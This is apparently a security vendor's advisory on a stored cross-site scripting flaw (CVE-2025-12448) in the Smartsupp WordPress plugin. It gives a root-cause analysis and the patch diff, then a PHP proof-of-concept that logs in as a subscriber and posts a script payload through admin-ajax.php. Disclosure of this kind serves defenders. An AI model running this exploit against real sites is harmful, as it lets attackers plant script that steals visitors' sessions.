Atomic Edge analysis of CVE-2025-12448:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Smartsupp WordPress plugin. The vulnerability exists in the plugin’s admin settings update handler, allowing users with Subscriber-level permissions or higher to inject arbitrary JavaScript. The CVSS score of 6.4 reflects the moderate impact of stored XSS requiring authentication.
The root cause is insufficient capability checking in the plugin’s admin settings update function. The vulnerable code in `/smartsupp-live-chat/admin/class-smartsupp-admin.php` processes the `code` parameter from `$_POST[‘code’]` without verifying the user’s `unfiltered_html` capability. The function `Smartsupp_Admin::update_options()` at line 155 accepts the `code` parameter directly after a basic existence check, allowing low-privileged users to submit arbitrary HTML and JavaScript content that the plugin stores and later outputs without proper escaping.
Exploitation requires an authenticated attacker with at least Subscriber-level access. The attacker sends a POST request to the WordPress admin-ajax.php endpoint with the action parameter set to `smartsupp_update`. The request must include a valid WordPress nonce (obtainable by any authenticated user) and the malicious `code` parameter containing JavaScript payloads. The payload executes in the context of any user viewing the page where the plugin outputs the stored code, typically the website’s frontend where the chat widget appears.
The patch adds a capability check before processing the `code` parameter. The added condition `if ( ! current_user_can(‘unfiltered_html’) )` at line 155 prevents users without the `unfiltered_html` capability from submitting the `code` parameter. In WordPress, only Administrator and Editor roles typically have this capability by default. This change restricts code modification to trusted users who already have permission to post unfiltered HTML throughout WordPress, effectively neutralizing the vulnerability for lower-privileged accounts.
Successful exploitation allows attackers to inject malicious JavaScript that executes in victims’ browsers. Attackers can steal session cookies, perform actions as the victim user, deface websites, or redirect users to malicious sites. Since the payload stores persistently in the plugin’s settings, it affects all users who visit pages where the plugin loads the compromised configuration. This creates a widespread impact across the website’s user base.
--- a/smartsupp-live-chat/admin/class-smartsupp-admin.php
+++ b/smartsupp-live-chat/admin/class-smartsupp-admin.php
@@ -155,6 +155,10 @@
if ( ! isset( $_POST['code'] ) ) {
return;
}
+ if ( ! current_user_can('unfiltered_html') ) {
+ $message = 'Not allowed';
+ break;
+ }
if ( ! isset( $_POST['_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_nonce'] ) ), 'smartsupp_update' ) ) {
$message = 'Invalid nonce';
break;
--- a/smartsupp-live-chat/smartsupp.php
+++ b/smartsupp-live-chat/smartsupp.php
@@ -10,7 +10,7 @@
* Plugin Name: Smartsupp – live chat, AI shopping assistant and chatbots
* Plugin URI: http://www.smartsupp.com
* Description: Smartsupp live chat, chatbots and AI is a powerful customer engagement solution that helps you be closer with your customers and sell more. The plugin will enable the chat widget on your website for live chat and chatbots. With Smartsupp you can also can use Email and Whatsapp channels in communicating with your customers. Optional API for advanced chat box modifications.
- * Version: 3.9.1
+ * Version: 3.9.2
* Author: Smartsupp
* Author URI: http://www.smartsupp.com
* Text Domain: smartsupp-live-chat
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12448 - Smartsupp – live chat, AI shopping assistant and chatbots <= 3.9.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-12448
* Requires valid WordPress subscriber credentials and a valid nonce
*/
$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'subscriber_user';
$password = 'subscriber_password';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Extract nonce from admin page (nonce is required for the AJAX request)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=smartsupp');
curl_setopt($ch, CURLOPT_POST, 0);
$admin_page = curl_exec($ch);
// Parse nonce from the page (simplified - in reality would need proper HTML parsing)
// The nonce is typically in a hidden field named '_nonce' or in JavaScript variables
// For this PoC, we assume we extracted a valid nonce
$nonce = 'EXTRACTED_NONCE_HERE'; // Replace with actual extracted nonce
// XSS payload to demonstrate vulnerability
$xss_payload = '<script>alert("Atomic Edge XSS Test");</script>';
// Exploit the vulnerability via admin-ajax.php
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'smartsupp_update',
'_nonce' => $nonce,
'code' => $xss_payload
]));
$ajax_response = curl_exec($ch);
curl_close($ch);
// Check if exploit was successful
if (strpos($ajax_response, 'success') !== false || strpos($ajax_response, 'updated') !== false) {
echo "Exploit successful. XSS payload injected.n";
echo "Visit the frontend of the site to trigger the payload.n";
} else {
echo "Exploit failed. Check credentials, nonce, or target version.n";
echo "Response: " . htmlspecialchars($ajax_response) . "n";
}
?>